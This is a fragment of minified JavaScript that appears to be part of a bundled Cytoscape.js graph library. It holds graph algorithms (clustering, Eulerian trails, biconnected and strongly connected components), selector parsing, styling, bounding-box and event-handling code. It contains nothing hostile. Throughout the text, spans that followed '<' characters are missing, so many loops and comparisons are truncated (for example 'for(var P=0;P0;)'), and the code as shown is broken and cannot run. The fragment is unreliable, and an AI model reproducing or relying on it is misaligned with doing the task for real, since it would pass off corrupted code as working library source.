M=i(O);D=D.id(),A[D]>A[L]+M&&(A[D]=A[L]+M,C.nodes.indexOf(D)<0?C.push(D):C.updateItem(D),k[D]=0,w[D]=[]),A[D]==A[L]+M&&(k[D]=k[D]+k[L],w[D].push(L))}else for(var P=0;P0;){for(var $=S.pop(),U=0;U0&&l.push(n[u]);l.length!==0&&a.push(i.collection(l))}return a},"assign"),pGe=o(function(e,r){for(var n=0;n5&&arguments[5]!==void 0?arguments[5]:yGe,l=i,u,h,f=0;f=2?q2(e,r,n,0,sle,vGe):q2(e,r,n,0,ale)},"euclidean"),squaredEuclidean:o(function(e,r,n){return q2(e,r,n,0,sle)},"squaredEuclidean"),manhattan:o(function(e,r,n){return q2(e,r,n,0,ale)},"manhattan"),max:o(function(e,r,n){return q2(e,r,n,-1/0,xGe)},"max")};cg["squared-euclidean"]=cg.squaredEuclidean;cg.squaredeuclidean=cg.squaredEuclidean;o(fE,"clusteringDistance");bGe=xa({k:2,m:2,sensitivityThreshold:1e-4,distance:"euclidean",maxIterations:10,attributes:[],testMode:!1,testCentroids:null}),bI=o(function(e){return bGe(e)},"setOptions"),eE=o(function(e,r,n,i,a){var s=a!=="kMedoids",l=s?function(d){return n[d]}:function(d){return i[d](n)},u=o(function(p){return i[p](r)},"getQ"),h=n,f=r;return fE(e,i.length,l,u,h,f)},"getDist"),MN=o(function(e,r,n){for(var i=n.length,a=new Array(i),s=new Array(i),l=new Array(r),u=null,h=0;hn)return!1}return!0},"haveMatricesConverged"),kGe=o(function(e,r,n){for(var i=0;il&&(l=r[h][f],u=f);a[u].push(e[h])}for(var d=0;d=a.threshold||a.mode==="dendrogram"&&e.length===1)return!1;var g=r[s],y=r[i[s]],v;a.mode==="dendrogram"?v={left:g,right:y,key:g.key}:v={value:g.value.concat(y.value),key:g.key},e[g.index]=v,e.splice(y.index,1),r[g.key]=v;for(var x=0;xn[y.key][b.key]&&(u=n[y.key][b.key])):a.linkage==="max"?(u=n[g.key][b.key],n[g.key][b.key]0&&i.push(a);return i},"findExemplars"),fle=o(function(e,r,n){for(var i=[],a=0;al&&(s=h,l=r[a*e+h])}s>0&&i.push(s)}for(var f=0;fh&&(u=f,h=d)}n[a]=s[u]}return i=fle(e,r,n),i},"assign"),dle=o(function(e){for(var r=this.cy(),n=this.nodes(),i=OGe(e),a={},s=0;s=L?(E=L,L=_,D=O):_>E&&(E=_);for(var M=0;M0?1:0;A[R%i.minIterations*l+U]=j,$+=j}if($>0&&(R>=i.minIterations-1||R==i.maxIterations-1)){for(var te=0,Y=0;Y1||k>1)&&(l=!0),d[T]=[],b.outgoers().forEach(function(C){C.isEdge()&&d[T].push(C.id())})}else p[T]=[void 0,b.target().id()]}):s.forEach(function(b){var T=b.id();if(b.isNode()){var S=b.degree(!0);S%2&&(u?h?l=!0:h=T:u=T),d[T]=[],b.connectedEdges().forEach(function(w){return d[T].push(w.id())})}else p[T]=[b.source().id(),b.target().id()]});var m={found:!1,trail:void 0};if(l)return m;if(h&&u)if(a){if(f&&h!=f)return m;f=h}else{if(f&&h!=f&&u!=f)return m;f||(f=h)}else f||(f=s[0].id());var g=o(function(T){for(var S=T,w=[T],k,A,C;d[S].length;)k=d[S].shift(),A=p[k][0],C=p[k][1],S!=C?(d[C]=d[C].filter(function(R){return R!=k}),S=C):!a&&S!=A&&(d[A]=d[A].filter(function(R){return R!=k}),S=A),w.unshift(k),w.unshift(S);return w},"walk"),y=[],v=[];for(v=g(f);v.length!=1;)d[v[0]].length==0?(y.unshift(s.getElementById(v.shift())),y.unshift(s.getElementById(v.shift()))):v=g(v.shift()).concat(v);y.unshift(s.getElementById(v.shift()));for(var x in d)if(d[x].length)return m;return m.found=!0,m.trail=this.spawn(y,!0),m},"hierholzer")},_k=o(function(){var e=this,r={},n=0,i=0,a=[],s=[],l={},u=o(function(p,m){for(var g=s.length-1,y=[],v=e.spawn();s[g].x!=p||s[g].y!=m;)y.push(s.pop().edge),g--;y.push(s.pop().edge),y.forEach(function(x){var b=x.connectedNodes().intersection(e);v.merge(x),b.forEach(function(T){var S=T.id(),w=T.connectedEdges().intersection(e);v.merge(T),r[S].cutVertex?v.merge(w.filter(function(k){return k.isLoop()})):v.merge(w)})}),a.push(v)},"buildComponent"),h=o(function(p,m,g){p===g&&(i+=1),r[m]={id:n,low:n++,cutVertex:!1};var y=e.getElementById(m).connectedEdges().intersection(e);if(y.size()===0)a.push(e.spawn(e.getElementById(m)));else{var v,x,b,T;y.forEach(function(S){v=S.source().id(),x=S.target().id(),b=v===m?x:v,b!==g&&(T=S.id(),l[T]||(l[T]=!0,s.push({x:m,y:b,edge:S})),b in r?r[m].low=Math.min(r[m].low,r[b].id):(h(p,b,m),r[m].low=Math.min(r[m].low,r[b].low),r[m].id<=r[b].low&&(r[m].cutVertex=!0,u(m,b))))})}},"biconnectedSearch");e.forEach(function(d){if(d.isNode()){var p=d.id();p in r||(i=0,h(p,p),r[p].cutVertex=i>1)}});var f=Object.keys(r).filter(function(d){return r[d].cutVertex}).map(function(d){return e.getElementById(d)});return{cut:e.spawn(f),components:a}},"hopcroftTarjanBiconnected"),UGe={hopcroftTarjanBiconnected:_k,htbc:_k,htb:_k,hopcroftTarjanBiconnectedComponents:_k},Dk=o(function(){var e=this,r={},n=0,i=[],a=[],s=e.spawn(e),l=o(function(h){a.push(h),r[h]={index:n,low:n++,explored:!1};var f=e.getElementById(h).connectedEdges().intersection(e);if(f.forEach(function(y){var v=y.target().id();v!==h&&(v in r||l(v),r[v].explored||(r[h].low=Math.min(r[h].low,r[v].low)))}),r[h].index===r[h].low){for(var d=e.spawn();;){var p=a.pop();if(d.merge(e.getElementById(p)),r[p].low=r[h].index,r[p].explored=!0,p===h)break}var m=d.edgesWith(d),g=d.merge(m);i.push(g),s=s.difference(g)}},"stronglyConnectedSearch");return e.forEach(function(u){if(u.isNode()){var h=u.id();h in r||l(h)}}),{cut:s,components:i}},"tarjanStronglyConnected"),HGe={tarjanStronglyConnected:Dk,tsc:Dk,tscc:Dk,tarjanStronglyConnectedComponents:Dk},Oue={};[sx,bze,Tze,kze,Sze,Aze,Lze,nGe,ag,sg,WM,gGe,DGe,MGe,zGe,VGe,UGe,HGe].forEach(function(t){ir(Oue,t)});Pue=0,Bue=1,Fue=2,Il=o(function(e){if(!(this instanceof Il))return new Il(e);this.id="Thenable/1.0.7",this.state=Pue,this.fulfillValue=void 0,this.rejectReason=void 0,this.onFulfilled=[],this.onRejected=[],this.proxy={then:this.then.bind(this)},typeof e=="function"&&e.call(this,this.fulfill.bind(this),this.reject.bind(this))},"api");Il.prototype={fulfill:o(function(e){return ple(this,Bue,"fulfillValue",e)},"fulfill"),reject:o(function(e){return ple(this,Fue,"rejectReason",e)},"reject"),then:o(function(e,r){var n=this,i=new Il;return n.onFulfilled.push(gle(e,i,"fulfill")),n.onRejected.push(gle(r,i,"reject")),$ue(n),i.proxy},"then")};ple=o(function(e,r,n,i){return e.state===Pue&&(e.state=r,e[n]=i,$ue(e)),e},"deliver"),$ue=o(function(e){e.state===Bue?mle(e,"onFulfilled",e.fulfillValue):e.state===Fue&&mle(e,"onRejected",e.rejectReason)},"execute"),mle=o(function(e,r,n){if(e[r].length!==0){var i=e[r];e[r]=[];var a=o(function(){for(var l=0;l0},"animatedImpl")},"animated"),clearQueue:o(function(){return o(function(){var r=this,n=r.length!==void 0,i=n?r:[r],a=this._private.cy||this;if(!a.styleEnabled())return this;for(var s=0;s0&&this.spawn(i).updateStyle().emit("class"),r},"classes"),addClass:o(function(e){return this.toggleClass(e,!0)},"addClass"),hasClass:o(function(e){var r=this[0];return r!=null&&r._private.classes.has(e)},"hasClass"),toggleClass:o(function(e,r){An(e)||(e=e.match(/\S+/g)||[]);for(var n=this,i=r===void 0,a=[],s=0,l=n.length;s0&&this.spawn(a).updateStyle().emit("class"),n},"toggleClass"),removeClass:o(function(e){return this.toggleClass(e,!1)},"removeClass"),flashClass:o(function(e,r){var n=this;if(r==null)r=250;else if(r===0)return n;return n.addClass(e),setTimeout(function(){n.removeClass(e)},r),n},"flashClass")};zk.className=zk.classNames=zk.classes;Wr={metaChar:"[\\!\\\"\\#\\$\\%\\&\\'\\(\\)\\*\\+\\,\\.\\/\\:\\;\\<\\=\\>\\?\\@\\[\\]\\^\\`\\{\\|\\}\\~]",comparatorOp:"=|\\!=|>|>=|<|<=|\\$=|\\^=|\\*=",boolOp:"\\?|\\!|\\^",string:`"(?:\\\\"|[^"])*"|'(?:\\\\'|[^'])*'`,number:Fi,meta:"degree|indegree|outdegree",separator:"\\s*,\\s*",descendant:"\\s+",child:"\\s+>\\s+",subject:"\\$",group:"node|edge|\\*",directedEdge:"\\s+->\\s+",undirectedEdge:"\\s+<->\\s+"};Wr.variable="(?:[\\w-.]|(?:\\\\"+Wr.metaChar+"))+";Wr.className="(?:[\\w-]|(?:\\\\"+Wr.metaChar+"))+";Wr.value=Wr.string+"|"+Wr.number;Wr.id=Wr.variable;(function(){var t,e,r;for(t=Wr.comparatorOp.split("|"),r=0;r=0)&&e!=="="&&(Wr.comparatorOp+="|\\!"+e)})();xn=o(function(){return{checks:[]}},"newQuery"),zt={GROUP:0,COLLECTION:1,FILTER:2,DATA_COMPARE:3,DATA_EXIST:4,DATA_BOOL:5,META_COMPARE:6,STATE:7,ID:8,CLASS:9,UNDIRECTED_EDGE:10,DIRECTED_EDGE:11,NODE_SOURCE:12,NODE_TARGET:13,NODE_NEIGHBOR:14,CHILD:15,DESCENDANT:16,PARENT:17,ANCESTOR:18,COMPOUND_SPLIT:19,TRUE:20},KM=[{selector:":selected",matches:o(function(e){return e.selected()},"matches")},{selector:":unselected",matches:o(function(e){return!e.selected()},"matches")},{selector:":selectable",matches:o(function(e){return e.selectable()},"matches")},{selector:":unselectable",matches:o(function(e){return!e.selectable()},"matches")},{selector:":locked",matches:o(function(e){return e.locked()},"matches")},{selector:":unlocked",matches:o(function(e){return!e.locked()},"matches")},{selector:":visible",matches:o(function(e){return e.visible()},"matches")},{selector:":hidden",matches:o(function(e){return!e.visible()},"matches")},{selector:":transparent",matches:o(function(e){return e.transparent()},"matches")},{selector:":grabbed",matches:o(function(e){return e.grabbed()},"matches")},{selector:":free",matches:o(function(e){return!e.grabbed()},"matches")},{selector:":removed",matches:o(function(e){return e.removed()},"matches")},{selector:":inside",matches:o(function(e){return!e.removed()},"matches")},{selector:":grabbable",matches:o(function(e){return e.grabbable()},"matches")},{selector:":ungrabbable",matches:o(function(e){return!e.grabbable()},"matches")},{selector:":animated",matches:o(function(e){return e.animated()},"matches")},{selector:":unanimated",matches:o(function(e){return!e.animated()},"matches")},{selector:":parent",matches:o(function(e){return e.isParent()},"matches")},{selector:":childless",matches:o(function(e){return e.isChildless()},"matches")},{selector:":child",matches:o(function(e){return e.isChild()},"matches")},{selector:":orphan",matches:o(function(e){return e.isOrphan()},"matches")},{selector:":nonorphan",matches:o(function(e){return e.isChild()},"matches")},{selector:":compound",matches:o(function(e){return e.isNode()?e.isParent():e.source().isParent()||e.target().isParent()},"matches")},{selector:":loop",matches:o(function(e){return e.isLoop()},"matches")},{selector:":simple",matches:o(function(e){return e.isSimple()},"matches")},{selector:":active",matches:o(function(e){return e.active()},"matches")},{selector:":inactive",matches:o(function(e){return!e.active()},"matches")},{selector:":backgrounding",matches:o(function(e){return e.backgrounding()},"matches")},{selector:":nonbackgrounding",matches:o(function(e){return!e.backgrounding()},"matches")}].sort(function(t,e){return F$e(t.selector,e.selector)}),GVe=(function(){for(var t={},e,r=0;r0&&f.edgeCount>0)return hn("The selector `"+e+"` is invalid because it uses both a compound selector and an edge selector"),!1;if(f.edgeCount>1)return hn("The selector `"+e+"` is invalid because it uses multiple edge selectors"),!1;f.edgeCount===1&&hn("The selector `"+e+"` is deprecated. Edge selectors do not take effect on changes to source and target nodes after an edge is added, for performance reasons. Use a class or data selector on edges instead, updating the class or data of an edge when your app detects a change in source or target nodes.")}return!0},"parse"),YVe=o(function(){if(this.toStringCache!=null)return this.toStringCache;for(var e=o(function(f){return f??""},"clean"),r=o(function(f){return Jt(f)?'"'+f+'"':e(f)},"cleanVal"),n=o(function(f){return" "+f+" "},"space"),i=o(function(f,d){var p=f.type,m=f.value;switch(p){case zt.GROUP:{var g=e(m);return g.substring(0,g.length-1)}case zt.DATA_COMPARE:{var y=f.field,v=f.operator;return"["+y+n(e(v))+r(m)+"]"}case zt.DATA_BOOL:{var x=f.operator,b=f.field;return"["+e(x)+b+"]"}case zt.DATA_EXIST:{var T=f.field;return"["+T+"]"}case zt.META_COMPARE:{var S=f.operator,w=f.field;return"[["+w+n(e(S))+r(m)+"]]"}case zt.STATE:return m;case zt.ID:return"#"+m;case zt.CLASS:return"."+m;case zt.PARENT:case zt.CHILD:return a(f.parent,d)+n(">")+a(f.child,d);case zt.ANCESTOR:case zt.DESCENDANT:return a(f.ancestor,d)+" "+a(f.descendant,d);case zt.COMPOUND_SPLIT:{var k=a(f.left,d),A=a(f.subject,d),C=a(f.right,d);return k+(k.length>0?" ":"")+A+C}case zt.TRUE:return""}},"checkToString"),a=o(function(f,d){return f.checks.reduce(function(p,m,g){return p+(d===f&&g===0?"$":"")+i(m,d)},"")},"queryToString"),s="",l=0;l1&&l=0&&(r=r.replace("!",""),d=!0),r.indexOf("@")>=0&&(r=r.replace("@",""),f=!0),(a||l||f)&&(u=!a&&!s?"":""+e,h=""+n),f&&(e=u=u.toLowerCase(),n=h=h.toLowerCase()),r){case"*=":i=u.indexOf(h)>=0;break;case"$=":i=u.indexOf(h,u.length-h.length)>=0;break;case"^=":i=u.indexOf(h)===0;break;case"=":i=e===n;break;case">":p=!0,i=e>n;break;case">=":p=!0,i=e>=n;break;case"<":p=!0,i=e1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,Yue)};o(Xue,"addParent");ug.forEachUp=function(t){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,Xue)};o(tUe,"addParentAndChildren");ug.forEachUpAndDown=function(t){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;return EI(this,t,e,tUe)};ug.ancestors=ug.parents;cx=jue={data:un.data({field:"data",bindingEvent:"data",allowBinding:!0,allowSetting:!0,settingEvent:"data",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,immutableKeys:{id:!0,source:!0,target:!0,parent:!0},updateStyle:!0}),removeData:un.removeData({field:"data",event:"data",triggerFnName:"trigger",triggerEvent:!0,immutableKeys:{id:!0,source:!0,target:!0,parent:!0},updateStyle:!0}),scratch:un.data({field:"scratch",bindingEvent:"scratch",allowBinding:!0,allowSetting:!0,settingEvent:"scratch",settingTriggersEvent:!0,triggerFnName:"trigger",allowGetting:!0,updateStyle:!0}),removeScratch:un.removeData({field:"scratch",event:"scratch",triggerFnName:"trigger",triggerEvent:!0,updateStyle:!0}),rscratch:un.data({field:"rscratch",allowBinding:!1,allowSetting:!0,settingTriggersEvent:!1,allowGetting:!0}),removeRscratch:un.removeData({field:"rscratch",triggerEvent:!1}),id:o(function(){var e=this[0];if(e)return e._private.data.id},"id")};cx.attr=cx.data;cx.removeAttr=cx.removeData;rUe=jue,yE={};o(RM,"defineDegreeFunction");ir(yE,{degree:RM(function(t,e){return e.source().same(e.target())?2:1}),indegree:RM(function(t,e){return e.target().same(t)?1:0}),outdegree:RM(function(t,e){return e.source().same(t)?1:0})});o(Xm,"defineDegreeBoundsFunction");ir(yE,{minDegree:Xm("degree",function(t,e){return te}),minIndegree:Xm("indegree",function(t,e){return te}),minOutdegree:Xm("outdegree",function(t,e){return te})});ir(yE,{totalDegree:o(function(e){for(var r=0,n=this.nodes(),i=0;i0,p=d;d&&(f=f[0]);var m=p?f.position():{x:0,y:0};r!==void 0?h.position(e,r+m[e]):a!==void 0&&h.position({x:a.x+m.x,y:a.y+m.y})}else{var g=n.position(),y=l?n.parent():null,v=y&&y.length>0,x=v;v&&(y=y[0]);var b=x?y.position():{x:0,y:0};return a={x:g.x-b.x,y:g.y-b.y},e===void 0?a:a[e]}else if(!s)return;return this},"relativePosition")};Ml.modelPosition=Ml.point=Ml.position;Ml.modelPositions=Ml.points=Ml.positions;Ml.renderedPoint=Ml.renderedPosition;Ml.relativePoint=Ml.relativePosition;nUe=Kue;og=Df={};Df.renderedBoundingBox=function(t){var e=this.boundingBox(t),r=this.cy(),n=r.zoom(),i=r.pan(),a=e.x1*n+i.x,s=e.x2*n+i.x,l=e.y1*n+i.y,u=e.y2*n+i.y;return{x1:a,x2:s,y1:l,y2:u,w:s-a,h:u-l}};Df.dirtyCompoundBoundsCache=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,e=this.cy();return!e.styleEnabled()||!e.hasCompoundNodes()?this:(this.forEachUp(function(r){if(r.isParent()){var n=r._private;n.compoundBoundsClean=!1,n.bbCache=null,t||r.emitAndNotify("bounds")}}),this)};Df.updateCompoundBounds=function(){var t=arguments.length>0&&arguments[0]!==void 0?arguments[0]:!1,e=this.cy();if(!e.styleEnabled()||!e.hasCompoundNodes())return this;if(!t&&e.batching())return this;function r(s){if(!s.isParent())return;var l=s._private,u=s.children(),h=s.pstyle("compound-sizing-wrt-labels").value==="include",f={width:{val:s.pstyle("min-width").pfValue,left:s.pstyle("min-width-bias-left"),right:s.pstyle("min-width-bias-right")},height:{val:s.pstyle("min-height").pfValue,top:s.pstyle("min-height-bias-top"),bottom:s.pstyle("min-height-bias-bottom")}},d=u.boundingBox({includeLabels:h,includeOverlays:!1,useCache:!1}),p=l.position;(d.w===0||d.h===0)&&(d={w:s.pstyle("width").pfValue,h:s.pstyle("height").pfValue},d.x1=p.x-d.w/2,d.x2=p.x+d.w/2,d.y1=p.y-d.h/2,d.y2=p.y+d.h/2);function m(R,I,L){var E=0,D=0,_=I+L;return R>0&&_>0&&(E=I/_*R,D=L/_*R),{biasDiff:E,biasComplementDiff:D}}o(m,"computeBiasValues");function g(R,I,L,E){if(L.units==="%")switch(E){case"width":return R>0?L.pfValue*R:0;case"height":return I>0?L.pfValue*I:0;case"average":return R>0&&I>0?L.pfValue*(R+I)/2:0;case"min":return R>0&&I>0?R>I?L.pfValue*I:L.pfValue*R:0;case"max":return R>0&&I>0?R>I?L.pfValue*R:L.pfValue*I:0;default:return 0}else return L.units==="px"?L.pfValue:0}o(g,"computePaddingValues");var y=f.width.left.value;f.width.left.units==="px"&&f.width.val>0&&(y=y*100/f.width.val);var v=f.width.right.value;f.width.right.units==="px"&&f.width.val>0&&(v=v*100/f.width.val);var x=f.height.top.value;f.height.top.units==="px"&&f.height.val>0&&(x=x*100/f.height.val);var b=f.height.bottom.value;f.height.bottom.units==="px"&&f.height.val>0&&(b=b*100/f.height.val);var T=m(f.width.val-d.w,y,v),S=T.biasDiff,w=T.biasComplementDiff,k=m(f.height.val-d.h,x,b),A=k.biasDiff,C=k.biasComplementDiff;l.autoPadding=g(d.w,d.h,s.pstyle("padding"),s.pstyle("padding-relative-to").value),l.autoWidth=Math.max(d.w,f.width.val),p.x=(-S+d.x1+d.x2+w)/2,l.autoHeight=Math.max(d.h,f.height.val),p.y=(-A+d.y1+d.y2+C)/2}o(r,"update");for(var n=0;ne.x2?i:e.x2,e.y1=ne.y2?a:e.y2,e.w=e.x2-e.x1,e.h=e.y2-e.y1)},"updateBounds"),mf=o(function(e,r){return r==null?e:Nl(e,r.x1,r.y1,r.x2,r.y2)},"updateBoundsFromBox"),W2=o(function(e,r,n){return Us(e,r,n)},"prefixedProperty"),Lk=o(function(e,r,n){if(!r.cy().headless()){var i=r._private,a=i.rstyle,s=a.arrowWidth/2,l=r.pstyle(n+"-arrow-shape").value,u,h;if(l!=="none"){n==="source"?(u=a.srcX,h=a.srcY):n==="target"?(u=a.tgtX,h=a.tgtY):(u=a.midX,h=a.midY);var f=i.arrowBounds=i.arrowBounds||{},d=f[n]=f[n]||{};d.x1=u-s,d.y1=h-s,d.x2=u+s,d.y2=h+s,d.w=d.x2-d.x1,d.h=d.y2-d.y1,Fk(d,1),Nl(e,d.x1,d.y1,d.x2,d.y2)}}},"updateBoundsFromArrow"),NM=o(function(e,r,n){if(!r.cy().headless()){var i;n?i=n+"-":i="";var a=r._private,s=a.rstyle,l=r.pstyle(i+"label").strValue;if(l){var u=r.pstyle("text-halign"),h=r.pstyle("text-valign"),f=W2(s,"labelWidth",n),d=W2(s,"labelHeight",n),p=W2(s,"labelX",n),m=W2(s,"labelY",n),g=r.pstyle(i+"text-margin-x").pfValue,y=r.pstyle(i+"text-margin-y").pfValue,v=r.isEdge(),x=r.pstyle(i+"text-rotation"),b=r.pstyle("text-outline-width").pfValue,T=r.pstyle("text-border-width").pfValue,S=T/2,w=r.pstyle("text-background-padding").pfValue,k=2,A=d,C=f,R=C/2,I=A/2,L,E,D,_;if(v)L=p-R,E=p+R,D=m-I,_=m+I;else{switch(u.value){case"left":L=p-C,E=p;break;case"center":L=p-R,E=p+R;break;case"right":L=p,E=p+C;break}switch(h.value){case"top":D=m-A,_=m;break;case"center":D=m-I,_=m+I;break;case"bottom":D=m,_=m+A;break}}var O=g-Math.max(b,S)-w-k,M=g+Math.max(b,S)+w+k,P=y-Math.max(b,S)-w-k,B=y+Math.max(b,S)+w+k;L+=O,E+=M,D+=P,_+=B;var F=n||"main",G=a.labelBounds,$=G[F]=G[F]||{};$.x1=L,$.y1=D,$.x2=E,$.y2=_,$.w=E-L,$.h=_-D,$.leftPad=O,$.rightPad=M,$.topPad=P,$.botPad=B;var U=v&&x.strValue==="autorotate",j=x.pfValue!=null&&x.pfValue!==0;if(U||j){var te=U?W2(a.rstyle,"labelAngle",n):x.pfValue,Y=Math.cos(te),oe=Math.sin(te),J=(L+E)/2,ue=(D+_)/2;if(!v){switch(u.value){case"left":J=E;break;case"right":J=L;break}switch(h.value){case"top":ue=_;break;case"bottom":ue=D;break}}var re=o(function(Te,q){return Te=Te-J,q=q-ue,{x:Te*Y-q*oe+J,y:Te*oe+q*Y+ue}},"rotate"),ee=re(L,D),Z=re(L,_),K=re(E,D),ae=re(E,_);L=Math.min(ee.x,Z.x,K.x,ae.x),E=Math.max(ee.x,Z.x,K.x,ae.x),D=Math.min(ee.y,Z.y,K.y,ae.y),_=Math.max(ee.y,Z.y,K.y,ae.y)}var Q=F+"Rot",de=G[Q]=G[Q]||{};de.x1=L,de.y1=D,de.x2=E,de.y2=_,de.w=E-L,de.h=_-D,Nl(e,L,D,E,_),Nl(a.labelBounds.all,L,D,E,_)}return e}},"updateBoundsFromLabel"),mce=o(function(e,r){if(!r.cy().headless()){var n=r.pstyle("outline-opacity").value,i=r.pstyle("outline-width").value,a=r.pstyle("outline-offset").value,s=i+a;Zue(e,r,n,s,"outside",s/2)}},"updateBoundsFromOutline"),Zue=o(function(e,r,n,i,a,s){if(!(n===0||i<=0||a==="inside")){var l=r.cy(),u=r.pstyle("shape").value,h=l.renderer().nodeShapes[u],f=r.position(),d=f.x,p=f.y,m=r.width(),g=r.height();if(h.hasMiterBounds){a==="center"&&(i/=2);var y=h.miterBounds(d,p,m,g,i);mf(e,y)}else s!=null&&s>0&&$k(e,[s,s,s,s])}},"updateBoundsFromMiter"),iUe=o(function(e,r){if(!r.cy().headless()){var n=r.pstyle("border-opacity").value,i=r.pstyle("border-width").pfValue,a=r.pstyle("border-position").value;Zue(e,r,n,i,a)}},"updateBoundsFromMiterBorder"),aUe=o(function(e,r){var n=e._private.cy,i=n.styleEnabled(),a=n.headless(),s=cs(),l=e._private,u=e.isNode(),h=e.isEdge(),f,d,p,m,g,y,v=l.rstyle,x=u&&i?e.pstyle("bounds-expansion").pfValue:[0],b=o(function(ne){return ne.pstyle("display").value!=="none"},"isDisplayed"),T=!i||b(e)&&(!h||b(e.source())&&b(e.target()));if(T){var S=0,w=0;i&&r.includeOverlays&&(S=e.pstyle("overlay-opacity").value,S!==0&&(w=e.pstyle("overlay-padding").value));var k=0,A=0;i&&r.includeUnderlays&&(k=e.pstyle("underlay-opacity").value,k!==0&&(A=e.pstyle("underlay-padding").value));var C=Math.max(w,A),R=0,I=0;if(i&&(R=e.pstyle("width").pfValue,I=R/2),u&&r.includeNodes){var L=e.position();g=L.x,y=L.y;var E=e.outerWidth(),D=E/2,_=e.outerHeight(),O=_/2;f=g-D,d=g+D,p=y-O,m=y+O,Nl(s,f,p,d,m),i&&mce(s,e),i&&r.includeOutlines&&!a&&mce(s,e),i&&iUe(s,e)}else if(h&&r.includeEdges)if(i&&!a){var M=e.pstyle("curve-style").strValue;if(f=Math.min(v.srcX,v.midX,v.tgtX),d=Math.max(v.srcX,v.midX,v.tgtX),p=Math.min(v.srcY,v.midY,v.tgtY),m=Math.max(v.srcY,v.midY,v.tgtY),f-=I,d+=I,p-=I,m+=I,Nl(s,f,p,d,m),M==="haystack"){var P=v.haystackPts;if(P&&P.length===2){if(f=P[0].x,p=P[0].y,d=P[1].x,m=P[1].y,f>d){var B=f;f=d,d=B}if(p>m){var F=p;p=m,m=F}Nl(s,f-I,p-I,d+I,m+I)}}else if(M==="bezier"||M==="unbundled-bezier"||gf(M,"segments")||gf(M,"taxi")){var G;switch(M){case"bezier":case"unbundled-bezier":G=v.bezierPts;break;case"segments":case"taxi":case"round-segments":case"round-taxi":G=v.linePts;break}if(G!=null)for(var $=0;$d){var J=f;f=d,d=J}if(p>m){var ue=p;p=m,m=ue}f-=I,d+=I,p-=I,m+=I,Nl(s,f,p,d,m)}if(i&&r.includeEdges&&h&&(Lk(s,e,"mid-source"),Lk(s,e,"mid-target"),Lk(s,e,"source"),Lk(s,e,"target")),i){var re=e.pstyle("ghost").value==="yes";if(re){var ee=e.pstyle("ghost-offset-x").pfValue,Z=e.pstyle("ghost-offset-y").pfValue;Nl(s,s.x1+ee,s.y1+Z,s.x2+ee,s.y2+Z)}}var K=l.bodyBounds=l.bodyBounds||{};ele(K,s),$k(K,x),Fk(K,1),i&&(f=s.x1,d=s.x2,p=s.y1,m=s.y2,Nl(s,f-C,p-C,d+C,m+C));var ae=l.overlayBounds=l.overlayBounds||{};ele(ae,s),$k(ae,x),Fk(ae,1);var Q=l.labelBounds=l.labelBounds||{};Q.all!=null?zze(Q.all):Q.all=cs(),i&&r.includeLabels&&(r.includeMainLabels&&NM(s,e,null),h&&(r.includeSourceLabels&&NM(s,e,"source"),r.includeTargetLabels&&NM(s,e,"target")))}return s.x1=Xo(s.x1),s.y1=Xo(s.y1),s.x2=Xo(s.x2),s.y2=Xo(s.y2),s.w=Xo(s.x2-s.x1),s.h=Xo(s.y2-s.y1),s.w>0&&s.h>0&&T&&($k(s,x),Fk(s,1)),s},"boundingBoxImpl"),Jue=o(function(e){var r=0,n=o(function(s){return(s?1:0)<=0;l--)s(l);return this};Cf.removeAllListeners=function(){return this.removeListener("*")};Cf.emit=Cf.trigger=function(t,e,r){var n=this.listeners,i=n.length;return this.emitting++,An(e)||(e=[e]),TUe(this,function(a,s){r!=null&&(n=[{event:s.event,type:s.type,namespace:s.namespace,callback:r}],i=n.length);for(var l=o(function(){var f=n[u];if(f.type===s.type&&(!f.namespace||f.namespace===s.namespace||f.namespace===xUe)&&a.eventMatches(a.context,f,s)){var d=[s];e!=null&&hze(d,e),a.beforeEmit(a.context,f,s),f.conf&&f.conf.one&&(a.listeners=a.listeners.filter(function(g){return g!==f}));var p=a.callbackContext(a.context,f,s),m=f.callback.apply(p,d);a.afterEmit(a.context,f,s),m===!1&&(s.stopPropagation(),s.preventDefault())}},"_loop2"),u=0;u1&&!s){var l=this.length-1,u=this[l],h=u._private.data.id;this[l]=void 0,this[e]=u,a.set(h,{ele:u,index:e})}return this.length--,this},"unmergeAt"),unmergeOne:o(function(e){e=e[0];var r=this._private,n=e._private.data.id,i=r.map,a=i.get(n);if(!a)return this;var s=a.index;return this.unmergeAt(s),this},"unmergeOne"),unmerge:o(function(e){var r=this._private.cy;if(!e)return this;if(e&&Jt(e)){var n=e;e=r.mutableElements().filter(n)}for(var i=0;i=0;r--){var n=this[r];e(n)&&this.unmergeAt(r)}return this},"unmergeBy"),map:o(function(e,r){for(var n=[],i=this,a=0;an&&(n=u,i=l)}return{value:n,ele:i}},"max"),min:o(function(e,r){for(var n=1/0,i,a=this,s=0;s=0&&a"u"?"undefined":$i(Symbol))!=e&&$i(Symbol.iterator)!=e;r&&(tE[Symbol.iterator]=function(){var n=this,i={value:void 0,done:!1},a=0,s=this.length;return sue({next:o(function(){return a1&&arguments[1]!==void 0?arguments[1]:!0,n=this[0],i=n.cy();if(i.styleEnabled()&&n){n._private.styleDirty&&(n._private.styleDirty=!1,i.style().apply(n));var a=n._private.style[e];return a??(r?i.style().getDefaultProperty(e):null)}},"parsedStyle"),numericStyle:o(function(e){var r=this[0];if(r.cy().styleEnabled()&&r){var n=r.pstyle(e);return n.pfValue!==void 0?n.pfValue:n.value}},"numericStyle"),numericStyleUnits:o(function(e){var r=this[0];if(r.cy().styleEnabled()&&r)return r.pstyle(e).units},"numericStyleUnits"),renderedStyle:o(function(e){var r=this.cy();if(!r.styleEnabled())return this;var n=this[0];if(n)return r.style().getRenderedStyle(n,e)},"renderedStyle"),style:o(function(e,r){var n=this.cy();if(!n.styleEnabled())return this;var i=!1,a=n.style();if(Yr(e)){var s=e;a.applyBypass(this,s,i),this.emitAndNotify("style")}else if(Jt(e))if(r===void 0){var l=this[0];return l?a.getStylePropertyValue(l,e):void 0}else a.applyBypass(this,e,r,i),this.emitAndNotify("style");else if(e===void 0){var u=this[0];return u?a.getRawStyle(u):void 0}return this},"style"),removeStyle:o(function(e){var r=this.cy();if(!r.styleEnabled())return this;var n=!1,i=r.style(),a=this;if(e===void 0)for(var s=0;s0&&e.push(f[0]),e.push(l[0])}return 